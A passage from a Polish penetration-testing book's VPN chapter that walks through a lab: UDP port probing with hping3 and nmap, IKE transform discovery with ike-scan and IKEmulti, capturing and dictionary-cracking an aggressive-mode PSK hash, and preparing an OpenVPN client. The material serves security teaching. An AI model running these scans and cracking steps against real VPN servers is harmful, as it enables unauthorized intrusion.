123, który jest portem używanym przez usługę NTP (Network Time Protocol). NTP jest protokołem
używanym przez komputery do synchronizowania swoich zegarów z czasem rzeczywistym. Tę ope-
rację można przeprowadzić za pomocą poniższego polecenia:
hping3 --udp -p 123 <AdresIP>

Na poniższym wydruku widać efekty pracy programu, przerwane po wysłaniu czterech pakietów:
HPING 192.168.56.102 (eth1 192.168.48.102): udp mode set, 28 headers + 0 data bytes
ICMP Port Unreachable from ip=192.168.48.102 name=UNKNOWN status=0 port=1696 seq=0
ICMP Port Unreachable from ip=192.168.48.102 name=UNKNOWN status=0 port=1697 seq=1
ICMP Port Unreachable from ip=192.168.48.102 name=UNKNOWN status=0 port=1698 seq=2
ICMP Port Unreachable from ip=192.168.48.102 name=UNKNOWN status=0 port=1699 seq=3

Tym razem widać tu cztery komunikaty ICMP Port Unreachable. To oznacza, że na każdy
z wysłanych pakietów UDP otrzymaliśmy w odpowiedzi jeden pakiet protokołu ICMP (Internet
Control Message Protocol). Z tym protokołem zetknął się każdy, kto używał już takiego narzędzia
jak ping, które jest zwykle stosowane do diagnozowania problemów z sieciami.

PING

Ping to narzędzie używane do wysyłania pakietów typu ICMP ECHO_REQUEST. Gdy docelowy host
otrzyma taki pakiet i jest skonfigurowany do jego obsługi, to odsyła w odpowiedzi pakiety
ECHO_RESPONSE. Takie przesyłanie pakietów nazywane jest zwykle pingowaniem. Program
Hping3 rozbudowuje funkcje narzędzia ping, umożliwiając przesyłanie dowolnych pakietów
przystosowanych do szerokiego zbioru protokołów.

Jeżeli otrzymasz komunikat Port Unreachable, będzie to oznaczało, że najprawdopodobniej ba-

dany port jest zamknięty, oczywiście pod warunkiem że na badanym adresie IP rzeczywiście znajduje
się jakiś host. Podczas badania portu 500 nie otrzymaliśmy żadnej odpowiedzi, co może oznaczać,

3681988c430c7fe1e8567c4e2f281f7b
3
276 Rozdział 8  Wirtualne sieci prywatne

że ten port jest otwarty. Brak odpowiedzi ICMP może też oznaczać obecność zapory sieciowej, ale
w tym przypadku można to wykluczyć, ponieważ testujemy laboratorium naszej książki.
W normalnej pracy dobrym pomysłem jest też skontrolowanie innych portów UDP, o wyż-
szych numerach, które powinny być zawsze zamknięte. Chodzi tu o potwierdzenie uzyskanych do
tej pory informacji. Jeżeli spróbujesz się połączyć z portami o wyższym numerze (na przykład 31337),
to w odpowiedzi powinny pojawić się komunikaty Port Unreachable. Jeżeli dostępu do danego
hosta broni zapora sieciowa, to takie sondowanie portu UDP nie powinno generować żadnych od-
powiedzi. Jeżeli w ten sposób uda się wykluczyć istnienie zapory sieciowej, to można przystąpić do
kolejnego kroku polegającego na wykonaniu bardziej zaawansowanych skanów (z użyciem innego
narzędzia) wszystkich wykrytych, otwartych portów.
Możesz użyć prostego skryptu napisanego w bashu, który używając programu Hping3, prze-
prowadziłby dokładniejsze skanowanie wskazanego hosta. Poniższy, przykładowy skrypt pobiera
plik tekstowy o nazwie udp.txt i wysyła pakiety sondujące do każdego z portów UDP wpisanych do
tego pliku (po jednym porcie w każdym wierszu):
for port in `cat udp.txt`; do echo TESTOWANIE PORTU UDP: $port;
hping3 -2 -p $port -c 1 <ArdresIP>; done

Z tej metody można skorzystać do sprawdzenia dowolnego zbioru portów UDP. Do często uży-
wanych portów, którymi warto się zainteresować, należą porty 123, 139, 161, 53, 67, 68, 69 i 500.
Porty, z których otrzymasz odpowiedź ICMP, zapewne są zamknięte, natomiast te porty, z których
nie przyjdzie żadna odpowiedź, zapewne są otwarte. Gratulujemy ukończenia pierwszego, podsta-
wowego skanu portów UDP bez użycia programu Nmap! Podczas sondowania serwisów UDP czę-
sto stosuje się rozwiązanie polegające na wysyłaniu poprawnych pakietów UDP właściwych dla
różnych protokołów, aby wymusić wstępną odpowiedź od tych serwisów. Nie korzysta się wyłącz-
nie z protokołu ICMP, ponieważ jego pakiety są często filtrowane w sieci.

Skanowanie portów UDP za pomocą programu Nmap

Jak widzieliśmy w rozdziale 5. „System DNS”, program Nmap wykonuje skanowanie portów UDP
(używa do tego analizy pakietami ICMP), dlatego nie ma powodu, żeby nie skorzystać z tej możli-
wości. Spróbujmy zatem uruchomić skanowanie portów UDP 500 i 1194, które domyślnie są uży-
wane przez usługi IKE i OpenVPN.
nmap -sU -p 500,1194 <AdresIP>

Podczas skanowania laboratorium naszej książki na ekranie powinny pojawić się komunikaty
podobne do poniższych:
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-20 13:34 GMT
Nmap scan report for 192.168.56.102
Host is up (0.00048s latency).

PORT STATE SERVICE

500/udp open isakmp
1194/udp open openvpn
MAC Address: 08:00:27:48:53:EA (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.27 seconds

3681988c430c7fe1e8567c4e2f281f7b
3
Skanowanie portów IKE 277

Jak widać, program Nmap informuje, że porty 500 i 1194 są otwarte. Usługa działająca na porcie
500 ma nosić nazwę isakmp. To może być demon IKE, ponieważ ta usługa korzysta z protokołu
ISAKMP.

Zawsze należy wykonywać pełen skan portów każdego systemu poddawanego

ocenie, niezależnie od tego, czy jest to wirtualny serwer przeznaczony do ćwiczeń, czy też
system należący do klienta. Zwykle można w ten sposób znaleźć jeszcze inne otwarte porty,
które mogą umożliwiać skuteczne zaatakowanie systemu. Wykorzystuj przedstawione do
tej pory techniki, aby wyszukać otwarte porty w analizowanym hoście i poszukać istnieją-
cych podatności.

Skanowanie portów IKE

Po wykryciu otwartego portu i określeniu rodzaju usługi działającej na tym porcie należy przepro-
wadzić więcej testów, aby potwierdzić te wstępne przypuszczenia. W poprzednich rozdziałach po-
kazywaliśmy, jak można użyć programu Netcat, aby wykonać takie testy, przy okazji prezentując
kilka podstawowych poleceń protokołów SMTP i HTTP.
W przypadku usługi IKE dobrze jest zacząć od zastosowania specjalnego narzędzia o nazwie
IKE-scan. Będzie ono próbować skomunikować się z usługą, używając do tego protokołu IKE. Jeżeli
serwis działający na porcie UDP 500 rzeczywiście jest usługą IKE, to program powinien być w sta-
nie wykonać kilka kroków i uzyskać kilka odpowiedzi. Na razie jesteśmy dopiero w pierwszej fazie
metodologii hakowania sieci VPN, o której mówiliśmy wcześniej. To znaczy, że musisz ustalić, jaki
rodzaj technologii VPN jest używany przez tę usługę. Użyjemy teraz programu IKE-scan, aby
sprawdzić, czy w badanej sieci VPN używany jest protokół IPsec. Pierwszym krokiem będzie zatem
próba połączenia się z usługą.
Po wykryciu używanej tu technologii trzeba ustalić opcje bezpieczeństwa stosowane przy
komunikacji z siecią VPN. Program IKE-scan wykona te wszystkie działania, jeżeli tylko podamy
mu adres IP:
ike-scan <AdresIP>

To polecenie będzie próbowało połączyć się z portem UDP 500, używając przy tym domyślnych
opcji kojarzenia zabezpieczeń, które wyglądają następująco:
 szyfrowanie algorytmem 3DES,
 algorytm haszowania SHA1,
 uwierzytelnianie metodą PSK,
 Diffie-Hellman grupa 2.
Po sondowaniu serwisu VPN używającego kombinacji metod IKE i IPsec z domyślnymi op-
cjami na ekranie powinny pojawić się informacje podobne do poniższych:
Starting ike-scan 1.9.4 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
192.168.48.102 Main Mode Handshake returned HDR=(CKY-R=07624b5acbe79bb9) SA=(Enc=3DES
´Hash=SHA1 Auth=PSK Group=2:modp1024 LifeType=Seconds LifeDuration(4)=0x00007080)

3681988c430c7fe1e8567c4e2f281f7b
3
278 Rozdział 8  Wirtualne sieci prywatne

Fakt, że serwer zwrócił komunikat Main Mode Handshake, daje nam pewną nadzieję. Oznacza
on, że na serwerze, zgodnie z oczekiwaniami, działa usługa IKE. Serwer chętnie ustanowi połącze-
nie i przystąpi do negocjowania kluczy. Zrealizowaliśmy zatem pierwszą fazę hakowania sieci VPN
— udało nam się zidentyfikować technologię używaną przez serwer i potwierdzić pierwsze przy-
puszczenia. Co więcej, dotarliśmy nawet do drugiej fazy naszej metodologii. Udało się nam usta-
nowić połączenie i wykonać wstępną komunikację z serwerem i wykryliśmy stosowane przez niego
opcje kojarzenia zabezpieczeń. W naszym przykładzie było to bardzo proste, bo serwer korzystał
z domyślnych opcji, ale w rzeczywistych sytuacjach nie zawsze będzie to tak łatwe.

Wykrywanie opcji kojarzenia zabezpieczeń

Co jednak zrobić, jeżeli po uruchomieniu programu IKE-scan nie pojawi się komunikat Main Mode
Handshake? Będzie to oznaczało, że nie użyliśmy właściwych opcji kojarzenia zabezpieczeń. Spróbuj
teraz zdefiniować niepoprawną kombinację opcji, aby zobaczyć, jak wygląda taka sytuacja. Możesz
do tego użyć poniższego polecenia:
ike-scan --trans=1,1,1,1 <AdresIP>

Po uruchomieniu tego polecenia program IKE-scan będzie stosował następujące ustawienia:

 szyfrowanie algorytmem DES-CBC,
 algorytm haszowania MD5,
 uwierzytelnianie metodą PSK (tak samo jak poprzednio),
 Diffie-Hellman grupa 1.
Jak widać, tym razem użyte zostały niewłaściwe ustawienia, w wyniku czego serwer nie przy-
stąpił do negocjacji:
Starting ike-scan 1.9.4 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)

Ending ike-scan 1.9.4: 1 hosts scanned in 2.401 seconds (0.42 hosts/sec).

0 returned handshake; 0 returned notify

W takiej sytuacji należy założyć, że dla tego serwera trzeba wykryć właściwą kombinację opcji
kojarzenia zabezpieczeń. Ustawienia kojarzenia zabezpieczeń często nazywane są też transformacją
(ang. transform). Jak już wspominaliśmy wcześniej, domyślna transformacja ma postać Enc=3DES,
Hash=SHA1, Auth=PSK i Group=2. Tej transformacji nie trzeba jawnie podawać, ponieważ jest ona
przyjmowana domyślnie. Jeżeli jednak chcielibyśmy to zrobić, to należałoby zastosować poniższe
polecenie:
ike-scan --trans=5,2,1,2 <AdresIP>

Znaczenie każdej z podanych tu liczb można znaleźć w dodatku A dokumentu RFC 2409.
W tym przypadku liczba 5 oznacza algorytm 3DES, 2 to algorytm SHA1, 1 to metoda PSK, nato-
miast 2 oznacza grupę 2. Dobrze jest też przejrzeć stronę pomocy programu IKE-scan, na której
można znaleźć więcej informacji dotyczących definiowania różnych transformacji.

3681988c430c7fe1e8567c4e2f281f7b
3
Skanowanie portów IKE 279

W instrukcji programu IKE-scan znajdzie się też nowsza metoda definiowania

niestandardowych transformacji, w której stosowane są pary atrybutów i wartości, tak jak
poniżej:
ike-scan --trans="(1=5,2=2,3=1,4=2)" <AdresIP>

Dzięki zastosowaniu opcji --trans="(1=5,2=2,3=1,4=2)" uzyskamy te same efekty co

w przypadku opcji --trans=5,2,1,2. Ten drugi wariant uznawany jest dzisiaj za starszą
metodę definiowania transformacji.

W kolejnym kroku wykorzystamy ogólne rozwiązanie stosowane przy hakowaniu systemów,

które już wcześniej poznaliśmy. Podobnie jak w przypadku siłowego zgadywania nazw użytkowni-
ków i haseł, tutaj też możemy spróbować zgadnąć właściwą kombinację ustawień kojarzenia zabez-
pieczeń, czyli transformacji. Aby szybko wypróbować wiele różnych transformacji, można wyko-
rzystać program o nazwie IKEmulti, napisany przez Danielle Costas. Ten program można pobrać
z naszej strony, pod adresem www.hackerhousebook.com/files/ikemulti.py.
Informacje o sposobie użycia tego programu można uzyskać, uruchamiając je bez podania żad-
nych argumentów. Mamy do czynienia ze skryptem języka Python, dlatego trzeba go uruchomić
za pomocą poniższego polecenia:
python ikemulti.py

Uruchomienie tego polecenia spowoduje wyświetlenie poniższej informacji:

MultiThreaded IKE-SCAN transforms analysis.
Usage:
ikemulti.py -h (or --help) show this help
ikemulti.py [-t threads] -i <ip address> to start the scan
WARNING:
If the -t flag is not specified 20 threads will be used during the scan.

Nic nie stoi na przeszkodzie, żeby użyć tego skryptu w ramach ćwiczeń z laboratorium naszej
książki, tak aby uruchomił 20 domyślnych wątków. W tym celu należy wydać polecenie:
python ikemulti.py -i <AdresIP>

Po uruchomieniu tego polecenia w terminalu zobaczysz wiele danych wypisywanych przez pro-
gram, podobnych do poniższych:
done: ['2', 3, 5, 1]
done: ['2', 3, 5, 2]
done: ['2', 3, 5, 3]
done: ['2', 3, 5, 4]
done: ['2', 3, 5, 5]
done: ['2', 3, 5, 14]
done: ['2', 3, 64221, 1]
done: ['2', 3, 64221, 2]
done: ['2', 3, 64221, 4]
done: ['2', 3, 64221, 3]
done: ['2', 3, 64221, 5]

Widać tutaj, że program IKEmulti wielokrotnie próbuje uruchamiać program IKE-scan (w wielu
wątkach), za każdym razem podając inną wartość transformacji. W pewnym momencie serwer przy-
stąpi do negocjacji, dzięki czemu program wykryje właściwą transformację.

3681988c430c7fe1e8567c4e2f281f7b
3
280 Rozdział 8  Wirtualne sieci prywatne

Program IKEmulti wykorzystuje wiele wątków, aby próbować różnych transformacji, za każ-
dym razem próbując jednej z wielu różnych kombinacji. I rzeczywiście, przeprowadzenie takiej
operacji zajmie naprawdę sporo czasu. Można zatem pozwolić dalej pracować programowi IKE-
multi i przystąpić do dalszych działań w nowym oknie terminala. Wykonanie innych skanów por-
tów UDP w czasie pracy programu IKEmulti może wpłynąć na uzyskane przez niego wyniki, dla-
tego należy tego raczej unikać.
Po zakończeniu skanowania serwera VPN przez program IKEmulti zobaczymy listę transfor-
macji obsługiwanych przez ten serwer. W naszym przykładzie będzie to tylko domyślna transfor-
macja, którą już wypróbowaliśmy (bo tylko ona zwróciła komunikat Main Mode Handshake). To
ważne, żeby podczas testowania systemów klienta sprawdzić wszystkie istniejące opcje. Admini-
stratorzy systemów mogą niechcący włączyć opcję słabego szyfrowania, co mogłoby pozwolić ha-
kerom na rozszyfrowanie przechwyconych pakietów. Jeżeli pozwolić na dalszą pracę programu
IKEmulti, to w końcu znajdzie on wszystkie poprawne transformacje (co widać na poniższym wy-
druku). Można teraz potwierdzić te wyniki, ręcznie uruchamiając program IKE-scan i podając mu
liczby opisujące wykryte transformacje.
Valid transformation found:
['ENC', 'HASH', 'AUTH', 'GROUP']
['5', 2, 1, 2]

---------------

Errors occured during the scan:

--------------

All process completed

Tryb agresywny
IKEv1 ma ciekawą funkcję nazywaną trybem agresywnym (ang. aggressive mode). Pamiętamy, że
w poprzednim przykładzie program IKE-scan został wykorzystany do ustanowienia połączenia
i na ekranie pojawiły się słowa Main Mode Handshake. Sprawdźmy teraz, co się stanie, gdy przystą-
pimy do negocjacji, wykorzystując tryb agresywny zamiast trybu podstawowego (ang. main mode).
Poznamy w ten sposób różnice między tymi dwoma trybami.
Tryb podstawowy należy traktować jak normalną metodę wymiany informacji, w której wyko-
nywane są wszystkie niezbędne kroki, pozwalające na dokonanie bezpiecznej wymiany pomiędzy
klientem a serwerem. Tryb agresywny ma natomiast za zadanie przyspieszyć cały ten proces i prze-
prowadzić szybkie negocjacje. Może to rozwiązywać problemy wynikające z niestabilnego połącze-
nia internetowego, ale niestety jak zaraz się przekonamy, może też doprowadzić do wycieku infor-
macji. Co więcej, jeżeli ten tryb jest używany w połączeniu z metodą PSK, to może umożliwiać
hakerowi wyłuskanie klucza. W efekcie cały proces zostanie przełamany jeszcze przed przystąpie-
niem do uwierzytelniania! Spróbujmy zatem użyć programu IKE-scan w trybie agresywnym.
ike-scan -A <AdresIP>
Starting ike-scan 1.9.4 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
192.168.56.103 Aggressive Mode Handshake returned HDR=
(CKY-R=3a6f5095e3f7f5af) SA=(Enc=3DES Hash=SHA1 Auth=PSK
Group=2:modp1024 LifeType=Seconds LifeDuration(4)=0x00007080)

3681988c430c7fe1e8567c4e2f281f7b
3
Skanowanie portów IKE 281

KeyExchange(128 bytes) Nonce(16 bytes) ID(Type=ID_IPV4_ADDR,

Value=192.168.56.103) Hash(20 bytes)

Ending ike-scan 1.9.4: 1 hosts scanned in 0.037 seconds (27.23 hosts/

sec). 1 returned handshake; 0 returned notify

Ta odpowiedź oznacza, że sprawdzany host obsługuje tryb agresywny i umieszcza w odpowie-

dzi wartość Auth=PSK. To kombinacja wskazująca na istnienie podatności, której można użyć do
wydobycia klucza. Możemy zatem spróbować uzyskać klucz za pomocą opcji --pskcrack, co zro-
bimy w kolejnym kroku. Jeżeli to się uda, to w nasze ręce dostanie się hasz klucza PSK (nie będzie
to jednak sam klucz).
ike-scan -A <AdresIP> --pskcrack=pskhash

Teraz w katalogu pojawi się plik o nazwie pskhash, którego zawartość będzie podobna do
poniższej:
856fddedf02796cba0e14c8839d8c0db21db5aa0c78cfaa4d2758c38bfc04cc89a5798
27c11381d5ccd70a34946439551544ee81bd45183d62b7ac97e62dc80bab40b7a3a8400
8dee44356b13aa0d8178007613c46f5b8713dfd7767eb6246afe1e51766aa98cc9c0c6e3
c4198efe4c26cebecf139a1bbeed3ac19772b697d9b:e36efea7361a2149757784ed457
c378bef2326c8409cb5757dab188059479742af68194cba397f17b87ddcdc6c9e44a0d
8eb7beab2b74b7c98cefa26d3a45120002f1c65751a9a94382fc77291a986ef0013c475
487738cf3e7f2d0b47d6277be8f6121763eb9deff72b9faa5c60db3e2a967f
e33d9086e3ad36b25c1783e95f:f8ba074a600ce931:6be7ede42b1af81e
:00000001000000010000009801010004030000240101000080010005800
200028003000180040002800b0001000c000400007080030000240201000
080010005800200018003000180040002800b0001000c000400007080030
000240301000080010001800200028003000180040002800b0001000c000-
400007080000000240401000080010001800200018003000180040002800b0001000c000
400007080:011101f4c0a83867:6b6ed83c6579237cca7453b87aad335a0e13f992:f55f
61e7d07056417cbf7f1e6e7c5bf7:779a40e6b1d2781e835830260ad0e77765ff2c3b

W całym tym tekście interesuje nas wyłącznie wyróżniona część znajdująca się na końcu wy-
druku, czyli hasz klucza.
Z odpowiedzi IKE można się zorientować, że w tym przypadku chodzi o hasz pochodzący
z algorytmu SHA1. Można teraz przystąpić do próby złamania tego hasza za pomocą narzędzia
o nazwie PSK-crack, uruchamiając je tak jak poniżej:
psk-crack pskhash

Po jego uruchomieniu i podaniu w parametrze wcześniej zdobytego pliku uzyskamy następu-

jący wynik:
Starting psk-crack [ike-scan 1.9.4] (http://www.nta-monitor.com/tools/ike-scan/)
Running in dictionary cracking mode
key "****************" matches SHA1 hash
779a40e6b1d2781e835830260ad0e77765ff2c3b
Ending psk-crack: 394940 iterations in 0.718 seconds (550040.39 iterations/sec)

Program PSK-crack wykrył, że chodzi tu o hasz z algorytmu SHA1, i udało mu się go złamać.
Mimo że klucz PSK został złamany, z powyższego wydruku usunęliśmy uzyskaną odpowiedź, żeby
nie psuć Ci radości z samodzielnej pracy! Jeżeli zastanawiasz się, jak to działa, to możesz przejrzeć
dokument RFC 2409, w którym podawane są szczegóły procesu haszowania klucza, oraz rozdział
14. „Hasła”, w którym również omawiamy haszowanie i łamanie haszy.

3681988c430c7fe1e8567c4e2f281f7b
3
282 Rozdział 8  Wirtualne sieci prywatne

W tym przypadku klucz PSK został złamany bardzo szybko, ponieważ nie był szczególnie
skomplikowany. Słaby klucz PSK (podobnie jak i każde słabe hasło) jest poważnym problemem,
który należy zgłosić swojemu klientowi.
Po znalezieniu właściwych opcji kojarzenia zabezpieczeń dla tej sieci VPN i złamaniu klucza
PSK mamy już wszystko, czego nam trzeba, aby połączyć się z serwerem. Można tego dokonać za
pomocą narzędzia o nazwie Charon-cmd, które można zainstalować w swojej maszynie wirtualnej
Kali Linux za pomocą polecenia apt install charon-cmd. Charon-cmd jest klientem IKE działa-
jącym w wierszu poleceń i służącym do wykonywania połączeń z IKE z sieciami VPN używającymi
protokołu IPsec. Ten program jest częścią pakietu strongSwan (www.strongswan.org), czyli otwar-
tego rozwiązania dla systemów linuksowych do obsługi sieci VPN z protokołem IPsec. Aby dowie-
dzieć się, jak należy tworzyć własną sieć VPN z protokołem IPsec i jak się z nią połączyć, przejrzyj
dokumentację pakietu strongSwan oraz stronę podręcznika programu Charon-cmd.
Teraz przyjrzymy się innej technologii dla sieci VPN — OpenVPN. Wykorzystamy tę technolo-
gię, aby pokazać kolejne działania, jakie można wykonywać po nawiązaniu połączenia z siecią VPN.

OpenVPN
Jak dotąd zajmowaliśmy się protokołami IPsec oraz IKE, a teraz dokładniej przyjrzymy się proto-
kołowi OpenVPN. Organizacje bardzo chętnie używają rozwiązań OpenVPN, aby przygotować in-
terfejs sieci WWW umożliwiający ich klientom i pracownikom łatwe łączenie się z siecią VPN.
Taki interfejs może wyglądać podobnie do przedstawionego na rysunku 8.1. Gdy natkniesz się na
taki interfejs, możesz próbować zgadywania haseł lub wykonać jakiś inny zautomatyzowany atak
siłowy. Być może w trakcie wykonanych wcześniej prac OSINT-owych udało Ci się zdobyć już
różne użyteczne informacje, takie jak adresy e-mail, ujawnione hasła itp.

Rysunek 8.1. Typowy formularz logowania do sieci OpenVPN

3681988c430c7fe1e8567c4e2f281f7b
3
OpenVPN 283

ATAKI SIŁOWE

Zwykle ataków siłowych należy unikać do czasu, aż zostaną wyczerpane wszystkie inne możli-
wości. Każdy atak siłowy powinien być przeprowadzany takiego dnia i o takiej godzinie, żeby
nie spowodować zablokowania dostępu do sieci innych użytkowników. Ta metoda ataku nie
dotyczy wyłącznie sieci OpenVPN, dlatego przejdziemy od razu do innych rozwiązań.

Po zalogowaniu się na tę stronę WWW użytkownik otrzymuje specjalny plik konfiguracyjny

oraz łącze pozwalające pobrać niezbędne oprogramowanie klienckie. Po przygotowaniu własnego
serwera OpenVPN zobaczysz, jak to działa. Samo przygotowanie serwera jest niezwykle proste, jeżeli
użyjesz rozwiązania OpenVPN Access Server dostępnego pod adresem: openvpn.net/vpn-server.
Zespół OpenVPN przygotował już oprogramowanie klientów dla wszystkich ważnych systemów
operacyjnych. Oczywiście będziemy się tu skupiać na kliencie działającym w wierszu poleceń sys-
temów linuksowych, który powinien być już zainstalowany w maszynie wirtualnej Kali Linux.
Możesz go uruchomić za pomocą polecenia openvpn, ale dodatkowo trzeba podać wszystkie nie-
zbędne opcje lub zawierający je plik konfiguracyjny.
Nasz serwer OpenVPN został przygotowany nieco inaczej. Jeżeli połączysz się z nim za pomocą
przeglądarki, czyli na porcie 80, i zażądasz katalogu /vpn, to zobaczysz taką stronę jak przedsta-
wiona na rysunku 8.2.

Rysunek 8.2. Strona główna naszego wirtualnego serwera VPN

Plik readme zawiera informacje o sposobie łączenia się z siecią VPN za pomocą narzędzia
openvpn działającego w wierszu poleceń. Jednym z parametrów, jakie trzeba dostarczyć temu
programowi, jest certyfikat CA (Certificate of Authority). Ten certyfikat również można pobrać
z naszego serwera. W tym przypadku również należy zaznaczyć, że takie informacje raczej nie są
tak łatwo dostępne.

3681988c430c7fe1e8567c4e2f281f7b
3
284 Rozdział 8  Wirtualne sieci prywatne

Dzięki poprawkom w zakresie bezpieczeństwa, jakie wprowadzono do bibliotek

OpenSSL i SSL, część funkcji tych protokołów została uznana za przestarzałe. Jeżeli w syste-
mie Kali Linux korzystasz z najnowszych bibliotek OpenVPN, to wiedz, że używają one sta-
tycznie skompilowanej wersji biblioteki OpenSSL i z tego powodu mogą nie zawierać funkcji
wymaganych do wykonania połączenia ze starszymi sieciami VPN. Jeżeli przy próbach po-
łączenia z siecią VPN natkniesz się na jakieś problemy spowodowane błędami biblioteki SSL,
to po prostu pobierz starszą wersję pakietu OpenVPN, który będzie statycznie powiązany
ze starszymi bibliotekami SSL. Na przykład możesz pobrać poniższy pakiet:
old.kali.org/kali/pool/main/o/openvpn/openvpn_2.4.3-4_amd64.deb

Po pobraniu odpowiedniego pliku .deb (pakietu dla systemu Debian) użyj polecenia dpkg -i
<PobranyPlik>, aby go zainstalować. Mogą przy tym pojawić się różne problemy, na przykład
niezgodności w zależnościach, takie jak poniżej:
dpkg: warning: downgrading openvpn from 2.4.7-1 to 2.4.3-4
(Reading database ... 176558 files and directories currently installed.)
Preparing to unpack openvpn_2.4.3-4_amd64.deb ...
Unpacking openvpn (2.4.3-4) over (2.4.7-1) ...
dpkg: dependency problems prevent configuration of openvpn:
openvpn depends on libssl1.0.2 (>= 1.0.2d); however:
Package libssl1.0.2 is not installed.

dpkg: error processing package openvpn (--install):

dependency problems - leaving unconfigured
Processing triggers for systemd (241-1) ...
Processing triggers for man-db (2.8.5-2) ...
Errors were encountered while processing:
openvpn

W tym przypadku musisz też zainstalować pakiety wymagane przez starszą wersję pakietu
OpenVPN, czyli zgodnie z powyższym wydrukiem będzie to pakiet libssl1.0.2.
Zainstaluj go zatem za pomocą tego polecenia:
apt install libssl1.0.2

W oknie terminala powinny pojawić się następujące komunikaty:

Setting up libssl1.0.2:amd64 (1.0.2q-2) ...
Setting up openvpn (2.4.3-4) ...
Installing new version of config file /etc/openvpn/updateresolv-conf ...
[ ok ] Restarting virtual private network daemon.:.
Processing triggers for libc-bin (2.28-8) ...

To oznacza, że starsza wersja pakietu OpenVPN jest już gotowa do użycia, ponieważ za-
wiera też starszą wersję biblioteki SSL. Możesz sprawdzić, czy na pewno ta wersja jest do-
myślnie używana, uruchamiając polecenie openvpn bez żadnych parametrów. Program wy-
świetli wtedy informacje o sposobie użycia, podając jednocześnie własny numer wersji,
tak jak poniżej:
OpenVPN 2.4.3 x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4]
[EPOLL] [PKCS11] [MH/PKTINFO] [AEAD] built on Jun 30 2017

3681988c430c7fe1e8567c4e2f281f7b
3
OpenVPN 285

Certyfikat możesz pobrać, klikając link Certificate Authority of Peace dostępny na stronie z ry-
sunku 8.2 albo uruchamiając poniższe polecenie:
wget <AdresIP>/ca.crt

Sam certyfikat wygląda tak:

-----BEGIN CERTIFICATE-----
MIIDHzCCAoigAwIBAgIJANiBuuYe/D3JMA0GCSqGSIb3DQEBBQUAMGkxCzAJBgNV
BAYTAlVTMQswCQYDVQQIEwJDQTEVMBMGA1UEBxMMU2FuRnJhbmNpc2NvMRUwEwYD
VQQKEwxGb3J0LUZ1bnN0b24xHzAdBgkqhkiG9w0BCQEWEG1haWxAaG9zdC5kb21h
aW4wHhcNMTcwMjI4MTEyNzMyWhcNMjcwMjI2MTEyNzMyWjBpMQswCQYDVQQGEwJV
UzELMAkGA1UECBMCQ0ExFTATBgNVBAcTDFNhbkZyYW5jaXNjbzEVMBMGA1UEChMM
Rm9ydC1GdW5zdG9uMR8wHQYJKoZIhvcNAQkBFhBtYWlsQGhvc3QuZG9tYWluMIGf
MA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC8LcDYxig9FXFxN+wFgkmlNdsQww8T
Yn2SeJUv84tkv+LnvQmoa2JxTav9H7hqcq57lT2eKNci3OoAEsPg5w7AGj95+1jL
NL8eDjF8gV9tO9EjtJrMajP07c4o9yhiKCMD3tLb47KAS0XWKIEMdkT/yQQ6d5+g
zU2lviUyXp+ibQIDAQABo4HOMIHLMB0GA1UdDgQWBBReYamSc5ISkWUyKJOpq9JI
/kK7VjCBmwYDVR0jBIGTMIGQgBReYamSc5ISkWUyKJOpq9JI/kK7VqFtpGswaTEL
MAkGA1UEBhMCVVMxCzAJBgNVBAgTAkNBMRUwEwYDVQQHEwxTYW5GcmFuY2lzY28x
FTATBgNVBAoTDEZvcnQtRnVuc3RvbjEfMB0GCSqGSIb3DQEJARYQbWFpbEBob3N0
LmRvbWFpboIJANiBuuYe/D3JMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQAD
gYEAbwSPw5X4os0rPErpKkNL1TaJtGdBOYqKb+AqJF4Ri/fyK41csWC+iTu/9YHF
r+IFVuMJhx1W9v/erbqNFvStcPSAo6E/5OeJT4RHa0IKeL2diHm10JLbAdwC8bCa
HM9kbgsmx3Vg9aBS2XoFWBJFK+f2mgk4jMVs3/GsjiwG8P0=
-----END CERTIFICATE-----

To publiczny certyfikat serwera. Nie jest czymś tajnym, co użytkownicy mają zabezpieczać, dla-
tego jego pobranie nie powinno nastręczać kłopotów. Te same informacje można uzyskać też
z każdej strony WWW zabezpieczanej protokołem SSL.
Poniższa metoda może się przydać w sytuacji, gdy w sieci klienta używany jest urząd certyfikacji
(ang. certificate authority — CA). Za pomocą poniższego polecenia można pobrać certyfikat nie-
zbędny do pracy z siecią:
openssl s_client -connect <AdresIP>:<Port>

Następnie można użyć takiego narzędzia jak XCA (X Certificate and Key Management), przej-
rzeć uzyskane informacje i zapisać je sobie. Program XCA jest dostępny na GitHubie pod adresem
github.com/chris2511/xca.
Klientowi OpenVPN trzeba też podać nazwę sposobu szyfrowania stosowanego w sieci. Podana
tu metoda szyfrowania musi zgadzać się z tą, której używa serwer, ponieważ to ona definiuje sposób
szyfrowania danych. Jeżeli dwa komputery będą używały odmiennych metod szyfrowania, to bę-
dzie to wyglądało podobnie jak rozmowa dwóch osób, z których jedna mówi wyłącznie po francu-
sku, a druga tylko po węgiersku. Jakiekolwiek porozumienie między tymi osobami będzie cokol-
wiek trudne, nawet mimo różnych prób tłumaczenia. Możesz zatem użyć polecenia openvpn z opcją
--show-tls, aby przejrzeć wszystkie metody szyfrowania dostępne w pakiecie OpenVPN.
openvpn --show-tls

W odpowiedzi uzyskasz krótką informację oraz długą listę opcji, taką jak poniższa:
Available TLS Ciphers,
listed in order of preference:

TLS-ECDHE-RSA-WITH-AES-256-GCM-SHA384
TLS-ECDHE-ECDSA-WITH-AES-256-GCM-SHA384

3681988c430c7fe1e8567c4e2f281f7b
3
286 Rozdział 8  Wirtualne sieci prywatne

TLS-ECDHE-RSA-WITH-AES-256-CBC-SHA384
TLS-ECDHE-ECDSA-WITH-AES-256-CBC-SHA384
TLS-ECDHE-RSA-WITH-AES-256-CBC-SHA
TLS-ECDHE-ECDSA-WITH-AES-256-CBC-SHA
TLS-DHE-RSA-WITH-AES-256-GCM-SHA384
TLS-DHE-RSA-WITH-AES-256-CBC-SHA256
TLS-DHE-RSA-WITH-AES-256-CBC-SHA
TLS-DHE-RSA-WITH-CAMELLIA-256-CBC-SHA
TLS-ECDHE-RSA-WITH-AES-128-GCM-SHA256
TLS-ECDHE-ECDSA-WITH-AES-128-GCM-SHA256
